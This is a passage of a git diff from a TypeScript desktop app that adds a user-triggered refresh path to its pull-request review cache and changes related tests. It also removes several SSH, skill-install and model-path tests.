hostIdentity: 'host_1', - signal: controller.signal - }) - ).rejects.toMatchObject({ data: SKILL_INSTALL_CANCELLED_FAILURE }) - await expect(readdir(join(root, 'home', '.agents', 'skills'))).resolves.toEqual([]) - }) - it('cancels during bundle extraction and removes its journal and partial bytes', async () => { const root = await temporaryDirectory() const source = await createSkill(join(root, 'sources'), 'alpha-skill') diff --git a/src/main/skills/skill-install-request-service.test.ts b/src/main/skills/skill-install-request-service.test.ts index 1f08fdcc1e1..195afa7112f 100644 --- a/src/main/skills/skill-install-request-service.test.ts +++ b/src/main/skills/skill-install-request-service.test.ts @@ -106,16 +106,6 @@ describe('executeSkillInstallRequest', () => { ).toEqual([]) }) - it('rejects local paths at the remote request boundary', async () => { - const { request, dependencies, archive } = await fixture() - await expect( - executeSkillInstallRequest( - { ...request, ingress: { kind: 'local-file', path: archive.archivePath } }, - dependencies - ) - ).rejects.toThrow('skill-install-local-ingress-rejected') - }) - it('rejects invalid shape, identity, scope, destination, and ingress policy before download', async () => { const { request, dependencies, archive, home } = await fixture() const cases: { input: unknown; error: string }[] = [ diff --git a/src/main/skills/skill-share-preparation-service.test.ts b/src/main/skills/skill-share-preparation-service.test.ts index 8a316d1f886..f8c8f5afcf5 100644 --- a/src/main/skills/skill-share-preparation-service.test.ts +++ b/src/main/skills/skill-share-preparation-service.test.ts @@ -55,38 +55,6 @@ afterEach(async () => { }) describe('SkillSharePreparationService', () => { - it('preserves executable modes from a managed Windows install receipt', async () => { - const { root, source } = await createSource() - await writeFile(join(source, 'run.sh'), 'echo without shebang\n') - const stateDirectory = join(root, 'state') - await writeSkillInstallReceipt(stateDirectory, { - schemaVersion: 1, - packageId: 'package_1', - versionId: 'version_1', - packageDigest: 'a'.repeat(64), - archiveSha256: 'b'.repeat(64), - scope: 'global', - destinationIdentity: 'global:windows', - canonicalPath: source, - placements: [], - installedAt: '2026-08-16T12:00:00.000Z', - hostIdentity: 'windows', - fileModes: [ - { path: 'SKILL.md', executable: false }, - { path: 'run.sh', executable: true } - ] - }) - const service = new SkillSharePreparationService( - join(root, 'preparations'), - { findOwnedPackageId: nameIsFree, publishVersion: vi.fn(), createShare: vi.fn() }, - { installStateDirectory: stateDirectory, platform: 'win32' } - ) - - const prepared = await service.prepare({ sourceDirectory: source }) - - expect(prepared.skills?.[0]?.executablePaths).toEqual(['run.sh']) - }) - it('finds Windows install receipts through a provider junction', async () => { const { root, source } = await createSource() await writeFile(join(source, 'run.sh'), 'echo without shebang\n') diff --git a/src/main/source-control/hosted-review-branch-cache.ts b/src/main/source-control/hosted-review-branch-cache.ts index eceb5aaeea7..24c8466faf2 100644 --- a/src/main/source-control/hosted-review-branch-cache.ts +++ b/src/main/source-control/hosted-review-branch-cache.ts @@ -1,5 +1,6 @@ import type { ExecutionHostId } from '../../shared/execution-host' -import type { HostedReviewInfo } from '../../shared/hosted-review' +import type { HostedReviewForBranchOutcome, HostedReviewInfo } from '../../shared/hosted-review' +import { cachedHostedReviewOutcome } from '../../shared/hosted-review' import { __resetHostedReviewActiveClaimsForTests, isActiveBranch, @@ -19,6 +20,7 @@ import { getInflightLookup, releaseInflight, retireInflightWithPrefix, + retireInflightLookup, trackInflight, type InflightToken } from './hosted-review-inflight-lookups' @@ -35,6 +37,7 @@ import { dropFailuresWithPrefix, noteFailure } from './hosted-review-lookup-backoff' +import { observeProviderRead } from './hosted-review-provider-read' import { ACTIVE_REFRESH_INTERVAL_MS, HOSTED_REVIEW_LOOKUP_DEADLINE_MS, @@ -79,6 +82,7 @@ export type HostedReviewBranchCacheOptions = { /** Set by surfaces that only ever render the selected worktree. */ active?: boolean force?: boolean + userRefresh?: boolean } export function hostedReviewBranchCacheKey(identity: HostedReviewBranchCacheIdentity): string { @@ -180,16 +184,18 @@ function startLookup( key: string, scope: string, headOid: string | null, + revisionScope: string, lookup: () => Promise -): Promise { +): Promise { const startedAt = Date.now() const generation = scopeGeneration(scope) + const revision = scopeGeneration(revisionScope) const token: InflightToken = {} let timedOut = false let completed = false - let release: (review: HostedReviewInfo | null) => void = () => {} + let release: (read: HostedReviewForBranchOutcome) => void = () => {} let fail: (error: unknown) => void = () => {} - const promise = new Promise((resolve, reject) => { + const promise = new Promise((resolve, reject) => { release = resolve fail = reject }) @@ -209,11 +215,6 @@ function startLookup( } // Detached work remains uninterruptible; count it process-wide until completion. noteDetachedLookup() - const stale = entries.get(key) - if (stale) { - release(stale.review) - return - } fail( new Error( `Hosted review lookup timed out after ${Math.round( @@ -234,10 +235,11 @@ function startLookup( void (async () => { try { - const review = await lookup() + const { value: review, answeredFromProviderCache } = await observeProviderRead(lookup) // Generation invalidates pre-creation answers; without key ownership, stragglers must prove their result still outranks the cache. const stored = generation === scopeGeneration(scope) && + revision === scopeGeneration(revisionScope) && (getInflightLookup(key)?.token === token || canAdoptDetachedAnswer(key, startedAt)) if (stored) { storeEntry(key, { review, fetchedAt: Date.now(), headOid, startedAt }) @@ -246,7 +248,7 @@ function startLookup( if (stored && !timedOut) { clearFailures(key) } - release(review) + release({ review, readOutcome: stored && !answeredFromProviderCache ? 'provider' : 'cached' }) } catch (error) { // Deadline already counted failure; never count late rejection twice. if (timedOut) { @@ -256,12 +258,6 @@ function startLookup( if (getInflightLookup(key)?.token === token) { noteFailure(key) } - // Keep last-good data on failure to avoid blinking cards; invalidation still removes obsolete answers. - const stale = entries.get(key) - if (stale) { - release(stale.review) - return - } fail(error) } finally { completed = true @@ -279,12 +275,18 @@ function startLookup( return promise } -/** Share fresh answers/in-flight lookups across clients and back off failed branches. */ export async function withHostedReviewBranchCache( + ...args: Parameters +): Promise { + return (await readHostedReviewBranchCache(...args)).review +} + +/** Share fresh answers/in-flight lookups across clients and back off failed branches. */ +export async function readHostedReviewBranchCache( identity: HostedReviewBranchCacheIdentity, options: HostedReviewBranchCacheOptions, lookup: () => Promise -): Promise { +): Promise { const key = hostedReviewBranchCacheKey(identity) const headOid = options.headOid // Sweep wall-clock deadlines before joining so suspended timers cannot pin a branch after sleep. @@ -296,28 +298,53 @@ export async function withHostedReviewBranchCache( const active = isActiveBranch(key) const cached = entries.get(key) - if (!options.force && cached && isFresh(cached, headOid, active)) { - return cached.review + if (!options.userRefresh && !options.force && cached && isFresh(cached, headOid, active)) { + return cachedHostedReviewOutcome(cached.review) } - const pending = getInflightLookup(key) - if (pending) { - return pending.promise - } - - const unavailable = lookupUnavailableReason(key) + // Admission is keyed independently of revision; a refused click cannot retire an admitted owner. + const unavailable = options.userRefresh ? lookupCapacityRefusal(key) : null if (unavailable !== null) { - // Serve stale answers on backoff, but without cached evidence report error rather than no review. - if (cached) { - return cached.review - } throw new Error(unavailable) } + const revisionScope = `branch-refresh${KEY_SEPARATOR}${key}` + if (options.userRefresh) { + bumpScopeGeneration(revisionScope) + retireInflightLookup(key) + } - return startLookup( - key, - hostedReviewRepoScope(identity.repoPath, identity.executionHostId), - headOid, - lookup + const settleForCaller = async (promise: Promise) => { + try { + return await promise + } catch (error) { + const stale = entries.get(key) + if (!options.userRefresh && stale) { + return cachedHostedReviewOutcome(stale.review) + } + throw error + } + } + const pending = getInflightLookup(key) + if (pending) { + // The owner began before this caller asked, so its answer can't prove a read after this caller's failure. + return settleForCaller(pending.promise.then(({ review }) => cachedHostedReviewOutcome(review))) + } + + const refusal = options.userRefresh ? null : lookupUnavailableReason(key) + if (refusal !== null) { + if (cached) { + return cachedHostedReviewOutcome(cached.review) + } + throw new Error(refusal) + } + + return settleForCaller( + startLookup( + key, + hostedReviewRepoScope(identity.repoPath, identity.executionHostId), + headOid, + revisionScope, + lookup + ) ) } diff --git a/src/main/source-control/hosted-review-gitea.integration.test.ts b/src/main/source-control/hosted-review-gitea.integration.test.ts index b83e2fd5f34..63ee743aba3 100644 --- a/src/main/source-control/hosted-review-gitea.integration.test.ts +++ b/src/main/source-control/hosted-review-gitea.integration.test.ts @@ -36,6 +36,7 @@ describe('Gitea hosted review integration', () => { it('resolves a Gitea PR through real git remote parsing and HTTP API calls', async () => { const seen: SeenRequest[] = [] + let merged = false const server = createServer((req: IncomingMessage, res: ServerResponse) => { const url = new URL(req.url ?? '/', `http://${req.headers.host ?? '127.0.0.1'}`) seen.push({ @@ -49,7 +50,8 @@ describe('Gitea hosted review integration', () => { { number: 9, title: 'Local Gitea branch', - state: 'open', + state: merged ? 'closed' : 'open', + merged, html_url: 'http://127.0.0.1/team/repo/pulls/9', updated_at: '2026-05-15T00:00:00Z', mergeable: true, @@ -107,6 +109,17 @@ describe('Gitea hosted review integration', () => { ]) expect(seen.every((request) => request.authorization === 'token local-token')).toBe(true) expect(new URLSearchParams(seen[0].search).get('state')).toBe('all') + + // Merged on the web: a click inside the 30s repository-scan window still reads the new state. + merged = true + await expect( + getHostedReviewForBranch({ + executionHostId: 'local', + repoPath, + branch: 'refs/heads/feature/gitea', + userRefresh: true + }) + ).resolves.toMatchObject({ provider: 'gitea', number: 9, state: 'merged' }) } finally { await rm(repoPath, { recursive: true, force: true }) await new Promise((resolve, reject) => { diff --git a/src/main/source-control/hosted-review-inflight-invalidation.test.ts b/src/main/source-control/hosted-review-inflight-invalidation.test.ts index 5d68ccb0c89..088e9a02a85 100644 --- a/src/main/source-control/hosted-review-inflight-invalidation.test.ts +++ b/src/main/source-control/hosted-review-inflight-invalidation.test.ts @@ -266,3 +266,126 @@ describe('hosted review in-flight invalidation', () => { expect(freshLookup).toHaveBeenCalledTimes(1) }) }) + +const START = 1_000_000 +const openReview = review +const mergedReview: HostedReviewInfo = { ...review, state: 'merged' } +function stuckLookup() { + const response = Promise.withResolvers() + return { + lookup: vi.fn(() => response.promise), + resolve: response.resolve, + reject: response.reject + } +} +describe('hosted review manual refresh invalidation', () => { + // The branch cache never branches on the forge, so one stands for all of them. + it('starts a post-click read and fences the pre-click answer at the same clock time', async () => { + const old = stuckLookup() + const before = withHostedReviewBranchCache(identity, { headOid: null, force: true }, old.lookup) + const lookup = vi.fn(async () => mergedReview) + const options = { headOid: null, force: true, userRefresh: true } + const click = withHostedReviewBranchCache(identity, options, lookup) + old.resolve(openReview) + await expect(before).resolves.toMatchObject({ state: 'open' }) + await expect(click).resolves.toEqual(mergedReview) + expect(lookup).toHaveBeenCalledOnce() + await expect(withHostedReviewBranchCache(identity, { headOid: null }, lookup)).resolves.toEqual( + mergedReview + ) + }) + + it('fences a pre-click answer that completes after the manual answer', async () => { + const old = stuckLookup() + const before = withHostedReviewBranchCache(identity, { headOid: null }, old.lookup) + await expect( + withHostedReviewBranchCache( + identity, + { headOid: null, force: true, userRefresh: true }, + async () => mergedReview + ) + ).resolves.toEqual(mergedReview) + old.resolve(openReview) + await before + await expect( + withHostedReviewBranchCache(identity, { headOid: null }, async () => openReview) + ).resolves.toEqual(mergedReview) + }) + + it('reads during failure backoff only for an explicit click, then recovers', async () => { + await withHostedReviewBranchCache(identity, { headOid: null }, async () => openReview) + const failed = vi.fn(async () => { + throw new Error('offline') + }) + await withHostedReviewBranchCache(identity, { headOid: null, force: true }, failed) + const lookup = vi.fn(async () => mergedReview) + await expect( + withHostedReviewBranchCache(identity, { headOid: null, force: true }, lookup) + ).resolves.toEqual(openReview) + expect(lookup).not.toHaveBeenCalled() + const options = { headOid: null, force: true, userRefresh: true } + await expect(withHostedReviewBranchCache(identity, options, failed)).rejects.toThrow('offline') + await expect(withHostedReviewBranchCache(identity, options, lookup)).resolves.toEqual( + mergedReview + ) + expect(lookup).toHaveBeenCalledOnce() + }) + + it.each(['failure', 'deadline'] as const)( + 'settles a shared manual flight per caller on %s', + async (outcome) => { + await withHostedReviewBranchCache(identity, { headOid: null }, async () => openReview) + const held = stuckLookup() + const options = { headOid: null, force: true, userRefresh: true } + const click = withHostedReviewBranchCache(identity, options, held.lookup) + const rejection = expect(click).rejects.toThrow( + outcome === 'failure' ? 'offline' : 'timed out' + ) + const ordinary = withHostedReviewBranchCache( + identity, + { headOid: null, force: true }, + held.lookup + ) + if (outcome === 'failure') { + held.reject(new Error('offline')) + } else { + await vi.advanceTimersByTimeAsync(HOSTED_REVIEW_LOOKUP_DEADLINE_MS) + } + await rejection + await expect(ordinary).resolves.toEqual(openReview) + expect(held.lookup).toHaveBeenCalledOnce() + // Failed refreshes cannot renew the old answer's TTL or reset failure escalation. + vi.setSystemTime(START + HOSTED_REVIEW_LOOKUP_DEADLINE_MS + 60_001) + const next = vi.fn(async () => mergedReview) + await withHostedReviewBranchCache(identity, { headOid: null }, next) + expect(next).toHaveBeenCalledOnce() + if (outcome === 'deadline') { + held.resolve(openReview) + } + } + ) + + it('refuses a third live click without retiring the admitted successor', async () => { + const first = stuckLookup() + const second = stuckLookup() + const options = { headOid: null, force: true, userRefresh: true } + const before = withHostedReviewBranchCache( + identity, + { headOid: null, force: true }, + first.lookup + ) + const admitted = withHostedReviewBranchCache(identity, options, second.lookup) + const third = vi.fn(async () => openReview) + const refused = withHostedReviewBranchCache(identity, options, third) + const rejection = expect(refused).rejects.toThrow('still running') + second.resolve(mergedReview) + first.resolve(openReview) + await rejection + await expect(admitted).resolves.toEqual(mergedReview) + await before + expect(third).not.toHaveBeenCalled() + await expect(withHostedReviewBranchCache(identity, { headOid: null }, third)).resolves.toEqual( + mergedReview + ) + }) +}) diff --git a/src/main/source-control/hosted-review-inflight-lookups.test.ts b/src/main/source-control/hosted-review-inflight-lookups.test.ts index 149de43c097..cf987d3cfdb 100644 --- a/src/main/source-control/hosted-review-inflight-lookups.test.ts +++ b/src/main/source-control/hosted-review-inflight-lookups.test.ts @@ -19,14 +19,14 @@ it.each(['completion', 'deadline'])( trackInflight('repo\0branch', { token: oldToken, startedAt: 0, - promise: Promise.resolve(null), + promise: Promise.resolve({ review: null, readOutcome: 'provider' as const }), expire: oldExpire }) retireInflightWithPrefix('repo\0') const replacement = { token: {}, startedAt: HOSTED_REVIEW_LOOKUP_DEADLINE_MS, - promise: Promise.resolve(null), + promise: Promise.resolve({ review: null, readOutcome: 'provider' as const }), expire: vi.fn() } trackInflight('repo\0branch', replacement) diff --git a/src/main/source-control/hosted-review-inflight-lookups.ts b/src/main/source-control/hosted-review-inflight-lookups.ts index 189dec50798..cfc15a3a9f7 100644 --- a/src/main/source-control/hosted-review-inflight-lookups.ts +++ b/src/main/source-control/hosted-review-inflight-lookups.ts @@ -1,4 +1,4 @@ -import type { HostedReviewInfo } from '../../shared/hosted-review' +import type { HostedReviewForBranchOutcome } from '../../shared/hosted-review' import { HOSTED_REVIEW_LOOKUP_DEADLINE_MS, MAX_INFLIGHT_LOOKUPS @@ -13,7 +13,7 @@ export type InflightRecord = { /** Identity, so a detached lookup can only ever clear its own entry. */ token: InflightToken startedAt: number - promise: Promise + promise: Promise /** Releases the callers and unpins the branch; idempotent. */ expire: () => void } @@ -36,12 +36,19 @@ export function releaseInflight(key: string, token: InflightToken): boolean { return true } +export function retireInflightLookup(key: string): void { + const record = inflight.get(key) + if (record) { + retired.set(record.token, record) + inflight.delete(key) + } +} + /** Retire matching owners without failing their callers. */ export function retireInflightWithPrefix(prefix: string): void { - for (const [key, record] of inflight) { + for (const key of inflight.keys()) { if (key.startsWith(prefix)) { - retired.set(record.token, record) - inflight.delete(key) + retireInflightLookup(key) } } } diff --git a/src/main/source-control/hosted-review-provider-read.ts b/src/main/source-control/hosted-review-provider-read.ts new file mode 100644 index 00000000000..6cce27d8d5d --- /dev/null +++ b/src/main/source-control/hosted-review-provider-read.ts @@ -0,0 +1,22 @@ +import { AsyncLocalStorage } from 'node:async_hooks' + +type ProviderRead = { answeredFromProviderCache: boolean } + +const currentRead = new AsyncLocalStorage() + +/** Runs one hosted-review provider read and reports whether a provider-internal cache answered it, so that answer is never taken as a fresh read. */ +export async function observeProviderRead( + read: () => Promise +): Promise<{ value: T; answeredFromProviderCache: boolean }> { + const observation: ProviderRead = { answeredFromProviderCache: false } + const value = await currentRead.run(observation, read) + return { value, answeredFromProviderCache: observation.answeredFromProviderCache } +} + +/** Provider caches call this when they answer with work that began before the current read. */ +export function noteProviderCacheAnswer(): void { + const observation = currentRead.getStore() + if (observation) { + observation.answeredFromProviderCache = true + } +} diff --git a/src/main/source-control/hosted-review.test.ts b/src/main/source-control/hosted-review.test.ts index dc32b85a2dc..3ee678d94bb 100644 --- a/src/main/source-control/hosted-review.test.ts +++ b/src/main/source-control/hosted-review.test.ts @@ -81,6 +81,41 @@ describe('getHostedReviewForBranch', () => { __resetHostedReviewBranchCacheForTests() }) + it('refreshes a self-managed GitLab MR through the provider while old metadata is pending', async () => { + getProjectSlugMock.mockResolvedValue({ host: 'gitlab.example.test', path: 'g/p' }) + const old = { + number: 7, + title: 'MR', + state: 'opened', + url: 'https://gitlab.example.test/g/p/-/merge_requests/7', + pipelineStatus: 'success', + updatedAt: '2026-05-10T00:00:00.000Z', + mergeable: 'MERGEABLE' + } + let finishOld: (value: typeof old) => void = () => {} + getMergeRequestForBranchMock + .mockReturnValueOnce( + new Promise((resolve) => { + finishOld = resolve + }) + ) + .mockResolvedValueOnce({ ...old, state: 'merged' }) + const input = { + repoPath: '/repo', + executionHostId: 'ssh:ssh-1', + branch: 'feature', + force: true + } as const + const before = getHostedReviewForBranch(input) + await vi.waitFor(() => expect(getMergeRequestForBranchMock).toHaveBeenCalledTimes(1)) + const click = getHostedReviewForBranch({ ...input, userRefresh: true }) + finishOld(old) + await before + await expect(click).resolves.toMatchObject({ provider: 'gitlab', state: 'merged', number: 7 }) + expect(getMergeRequestForBranchMock).toHaveBeenCalledTimes(2) + expect(getMergeRequestForBranchMock).toHaveBeenLastCalledWith('/repo', 'feature', null, 'ssh-1') + }) + it('maps GitLab merge requests into the hosted review surface', async () => { getProjectSlugMock.mockResolvedValue({ host: 'gitlab.com', path: 'g/p' }) getMergeRequestForBranchMock.mockResolvedValue({ diff --git a/src/main/source-control/hosted-review.ts b/src/main/source-control/hosted-review.ts index 02743851851..d5b0bb03d92 100644 --- a/src/main/source-control/hosted-review.ts +++ b/src/main/source-control/hosted-review.ts @@ -1,17 +1,22 @@ import { githubRepoContext, withGitHubRepoExecution } from '../github/github-repository-identity' import type { ExecutionHostId } from '../../shared/execution-host' -import type { HostedReviewInfo } from '../../shared/hosted-review' +import { + cachedHostedReviewOutcome, + type HostedReviewForBranchOutcome, + type HostedReviewInfo +} from '../../shared/hosted-review' import { assertRemoteUrlReadable } from '../git/remote-url-probe' +import { forgetGiteaPullRequestReads } from '../gitea/pull-request-read-forgetting' import { getForgeProviderForRepository, type ForgeProviderId } from './forge-provider' import { hostedReviewSshConnectionId } from './hosted-review-execution-host' -import { withHostedReviewBranchCache } from './hosted-review-branch-cache' +import { readHostedReviewBranchCache } from './hosted-review-branch-cache' import { getHostedReviewLocalGitOptions, type HostedReviewExecutionOptions } from './hosted-review-git-options' function reviewLinkForProvider( - input: Parameters[0], + input: Parameters[0], provider: ForgeProviderId ): { linkedReviewNumber?: number | null; fallbackReviewNumber?: number | null } { switch (provider) { @@ -32,6 +37,12 @@ function reviewLinkForProvider( } export async function getHostedReviewForBranch( + input: Parameters[0] +): Promise { + return (await readHostedReviewForBranch(input)).review +} + +export async function readHostedReviewForBranch( input: { repoPath: string executionHostId: ExecutionHostId @@ -46,8 +57,9 @@ export async function getHostedReviewForBranch( /** Selected-worktree surfaces earn per-minute pacing (#11532). */ active?: boolean force?: boolean + userRefresh?: boolean } & HostedReviewExecutionOptions -): Promise { +): Promise { const branchName = input.branch.replace(/^refs\/heads\//, '') // Detached HEAD skips branch lookup but still permits exact provider ids. if ( @@ -59,7 +71,7 @@ export async function getHostedReviewForBranch( input.linkedAzureDevOpsPR == null && input.linkedGiteaPR == null ) { - return null + return cachedHostedReviewOutcome(null) } const connectionId = hostedReviewSshConnectionId(input.executionHostId) @@ -83,15 +95,16 @@ export async function getHostedReviewForBranch( } ) - function lookup(resolvedInput: Parameters[0]) { + function lookup(resolvedInput: Parameters[0]) { const headOid = input.currentHeadOid?.trim() || null // Cache review API results by the resolved account and execution identity (#11532). - return withHostedReviewBranchCache( + return readHostedReviewBranchCache( { ...resolvedInput, branch: branchName }, { headOid, ...(input.active === true ? { active: true } : {}), - ...(input.force === true ? { force: true } : {}) + ...(input.force === true ? { force: true } : {}), + ...(input.userRefresh === true ? { userRefresh: true } : {}) }, async () => { const provider = await getForgeProviderForRepository({ @@ -110,6 +123,13 @@ export async function getHostedReviewForBranch( return null } const providerOptions = provider.id === 'github' ? resolvedInput : input + if (input.userRefresh === true && provider.id === 'gitea') { + await forgetGiteaPullRequestReads({ + repoPath: input.repoPath, + executionHostId: input.executionHostId, + localGitExecOptions: getHostedReviewLocalGitOptions(input) + }) + } return provider.getReviewForBranch({ repoPath: input.repoPath, executionHostId: input.executionHostId, diff --git a/src/main/speech/model-manager-windows-path.test.ts b/src/main/speech/model-manager-windows-path.test.ts index a791341cf5f..9d850ee56d8 100644 --- a/src/main/speech/model-manager-windows-path.test.ts +++ b/src/main/speech/model-manager-windows-path.test.ts @@ -42,10 +42,6 @@ function restoreEnvironment(): void { } } -function isAsciiPath(value: string): boolean { - return [...value].every((character) => character.charCodeAt(0) <= 0x7f) -} - describe('ModelManager Windows model path handling', () => { beforeEach(() => { appGetPathMock.mockReset() @@ -57,28 +53,6 @@ describe('ModelManager Windows model path handling', () => { restoreEnvironment() }) - it('uses an ASCII cache path when the Windows default user data path has non-ASCII characters', () => { - const dir = mkdtempSync(join(tmpdir(), 'orca-model-manager-')) - try { - setPlatform('win32') - const programDataDir = join(dir, 'ProgramData') - const userDataDir = join(dir, '用户', 'Orca') - process.env.PROGRAMDATA = programDataDir - appGetPathMock.mockImplementation((name: string) => - name === 'userData' ? userDataDir : join(dir, name) - ) - - const manager = new ModelManager(undefined, openElectronSpeechDownloadRequest) - - expect(manager.getModelsDir()).not.toContain(userDataDir) - expect(manager.getModelsDir()).toContain(join(programDataDir, 'Orca', 'speech-models')) - expect(isAsciiPath(manager.getModelsDir())).toBe(true) - expect(existsSync(manager.getModelsDir())).toBe(true) - } finally { - rmSync(dir, { recursive: true, force: true }) - } - }) - it('migrates existing ready model files from a non-ASCII Windows default cache', async () => { const dir = mkdtempSync(join(tmpdir(), 'orca-model-manager-')) try { diff --git a/src/main/sqlite/sqlite-read-failure.ts b/src/main/sqlite/sqlite-read-failure.ts index f5c51f75312..ba6ef64334a 100644 --- a/src/main/sqlite/sqlite-read-failure.ts +++ b/src/main/sqlite/sqlite-read-failure.ts @@ -18,7 +18,7 @@ function primaryErrcode(error: unknown): number | null { return typeof errcode === 'number' && Number.isFinite(errcode) ? errcode & 0xff : null } -function isSqliteDriverError(error: unknown): boolean { +export function isSqliteDriverError(error: unknown): boolean { return error instanceof Error && 'code' in error && error.code === 'ERR_SQLITE_ERROR' } diff --git a/src/main/ssh/config/ssh-config-loader-regression.test.ts b/src/main/ssh/config/ssh-config-loader-regression.test.ts index 089ee9d99bb..86205338b2c 100644 --- a/src/main/ssh/config/ssh-config-loader-regression.test.ts +++ b/src/main/ssh/config/ssh-config-loader-regression.test.ts @@ -108,47 +108,6 @@ describe('loadUserSshConfig regressions', () => { expect(hosts.map((host) => host.host)).toEqual(['alpha', 'zeta', 'team', 'forward']) }) - it('preserves quoted Windows include paths with native backslashes and spaces', async () => { - const files = new Map([ - [ - normalizeWin('C:/Users/Test User/.ssh/config'), - 'Include "C:\\Users\\Test User\\quoted configs\\team.conf"' - ], - [ - normalizeWin('C:/Users/Test User/quoted configs/team.conf'), - 'Host team\n HostName team.example.com\n' - ] - ]) - - await mockOs('C:\\Users\\Test User', 'TestUser', -1, 'winbox.example.com') - vi.doMock('fs', async () => { - const actual = await vi.importActual('fs') - return { - ...actual, - existsSync: (filePath: string) => files.has(normalizeWin(filePath)), - readFileSync: (filePath: string) => { - const content = files.get(normalizeWin(filePath)) - if (content === undefined) { - throw new Error(`ENOENT: ${filePath}`) - } - return content - }, - realpathSync: Object.assign((filePath: string) => normalizeWin(filePath), { - native: (filePath: string) => normalizeWin(filePath) - }), - statSync: (filePath: string) => { - const content = files.get(normalizeWin(filePath)) - if (content === undefined) { - throw new Error(`ENOENT: ${filePath}`) - } - return { isFile: () => true, size: content.length } - } - } - }) - - expect(await loadUserSshConfig()).toEqual([{ host: 'team', hostname: 'team.example.com' }]) - }) - it('skips non-regular include targets without reading them', async () => { const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}) const home = platformSshHome() diff --git a/src/main/ssh/connection/ssh-connection-host-key-verification.test.ts b/src/main/ssh/connection/ssh-connection-host-key-verification.test.ts index 52a836ceef4..8954e2e605d 100644 --- a/src/main/ssh/connection/ssh-connection-host-key-verification.test.ts +++ b/src/main/ssh/connection/ssh-connection-host-key-verification.test.ts @@ -56,13 +56,6 @@ describe('SshConnection host key verification', () => { expect(ssh2Mock.lastHostKeyAccepted, 'the handshake accepted an unidentifiable key').toBe(false) }) - it('accepts a well-formed host key on first contact', async () => { - const conn = new SshConnection(createTarget(), createCallbacks()) - await conn.connect() - - expect(ssh2Mock.lastHostKeyAccepted).toBe(true) - }) - // A rejected host key must bypass credential fallbacks or auth-shaped errors could disclose a secret to the refused peer. it('never asks for a credential after refusing a host key', async () => { vi.stubEnv('SSH_AUTH_SOCK', '/tmp/agent.sock') diff --git a/src/main/ssh/connection/ssh-connection-manager-registry.test.ts b/src/main/ssh/connection/ssh-connection-manager-registry.test.ts index 923a76d5ccc..f042988be6a 100644 --- a/src/main/ssh/connection/ssh-connection-manager-registry.test.ts +++ b/src/main/ssh/connection/ssh-connection-manager-registry.test.ts @@ -42,73 +42,6 @@ describe('SshConnectionManager', () => { resetSsh2ClientState() }) - it('connect creates and stores a connection', async () => { - const mgr = new SshConnectionManager(createCallbacks()) - const target = createTarget() - - const conn = await mgr.connect(target) - expect(conn.getState().status).toBe('connected') - expect(mgr.getConnection(target.id)).toBe(conn) - }) - - it('getState returns connection state', async () => { - const mgr = new SshConnectionManager(createCallbacks()) - const target = createTarget() - - await mgr.connect(target) - const state = mgr.getState(target.id) - - expect(state).toBeTruthy() - expect(state!.status).toBe('connected') - }) - - it('getState returns null for unknown targets', () => { - const mgr = new SshConnectionManager(createCallbacks()) - expect(mgr.getState('unknown')).toBeNull() - }) - - it('disconnect removes the connection', async () => { - const mgr = new SshConnectionManager(createCallbacks()) - const target = createTarget() - - await mgr.connect(target) - await mgr.disconnect(target.id) - - expect(mgr.getConnection(target.id)).toBeUndefined() - }) - - it('reuses existing connected connection for same target', async () => { - const mgr = new SshConnectionManager(createCallbacks()) - const target = createTarget() - - const conn1 = await mgr.connect(target) - const conn2 = await mgr.connect(target) - - expect(conn2).toBe(conn1) - }) - - it('getAllStates returns all connection states', async () => { - const mgr = new SshConnectionManager(createCallbacks()) - await mgr.connect(createTarget({ id: 'a' })) - await mgr.connect(createTarget({ id: 'b' })) - - const states = mgr.getAllStates() - expect(states.size).toBe(2) - expect(states.get('a')?.status).toBe('connected') - expect(states.get('b')?.status).toBe('connected') - }) - - it('disconnectAll disconnects all connections', async () => { - const mgr = new SshConnectionManager(createCallbacks()) - await mgr.connect(createTarget({ id: 'a' })) - await mgr.connect(createTarget({ id: 'b' })) - - await mgr.disconnectAll() - - expect(mgr.getConnection('a')).toBeUndefined() - expect(mgr.getConnection('b')).toBeUndefined() - }) - it('does not erase a replacement registered while an admitted disconnect settles', async () => { const mgr = new SshConnectionManager(createCallbacks()) const target = createTarget({ id: 'target' }) diff --git a/src/main/ssh/orcad-snapshot-room.test.ts b/src/main/ssh/orcad-snapshot-room.test.ts index a384b10b8f3..c0bac203e07 100644 --- a/src/main/ssh/orcad-snapshot-room.test.ts +++ b/src/main/ssh/orcad-snapshot-room.test.ts @@ -35,12 +35,9 @@ import { writeAtomicOrcadRemoteRecord } from '../managed-server/install/orcad-re import { deployOrcad } from './orcad-remote-deploy' import { getRemoteHostPlatform } from './ssh-remote-platform' import { ORCAD_SNAPSHOT_SPACE_INSUFFICIENT_CODE } from './orcad-snapshot-room' -import { isSnapshotCaptureCommand } from './orcad-snapshot-capture-command' + import { OrcadFenceLostError } from '../managed-server/activation/orcad-activation-fence-scope' -import { - emptyOrcadActivationRecord, - withActivatedVersion -} from '../managed-server/activation/orcad-activation-record' + import { FakeOrcadHost, NEW, @@ -114,44 +111,6 @@ describe('an update on a host without room for its snapshot (#30491)', () => { expect(host.fence).toBe(false) }) - it('counts free space and reclaimable snapshots apart in the refusal', async () => { - answerRoom(400_000, 300_000, 1_000) - - expect(JSON.stringify(await deploy())).toMatch( - /has 1000 KB free \(plus 293\.0 MB Orca would reclaim from earlier snapshots\)/u - ) - }) - - it('keeps the snapshot the activation record names through both the room check and the prune', async () => { - const recorded = 'pre-0.1.0+aa01-500' - host.record = JSON.stringify( - withActivatedVersion( - emptyOrcadActivationRecord(), - OLD, - { - dirName: recorded, - takenBeforeVersion: OLD, - readableByVersion: null, - takenAt: new Date(500).toISOString() - }, - new Date(0) - ) - ) - answerRoom(400_000, 0, 10_000_000) - - expect(await deploy()).toMatchObject({ outcome: 'installed-and-activated' }) - const commands = vi.mocked(execCommand).mock.calls.map(([, command]) => command) - expect(commands.find((command) => command.includes('SNAPSHOT_SPACE'))).toContain( - `('${recorded}')` - ) - expect(commands.find(isSnapshotCaptureCommand)).toMatch( - new RegExp( - `\\('pre-${NEW.replace('+', '\\+')}-\\d+'\\|'${recorded.replace('+', '\\+')}'\\)`, - 'u' - ) - ) - }) - it('measures room before the last terminal recount, so the scan cannot outdate it', async () => { answerRoom(400_000, 0, 10_000_000) const probedBeforeRecount: boolean[] = [] diff --git a/src/main/ssh/ssh-agent-identity-filter.test.ts b/src/main/ssh/ssh-agent-identity-filter.test.ts index c6d5cc3c09b..1a09e41f8a0 100644 --- a/src/main/ssh/ssh-agent-identity-filter.test.ts +++ 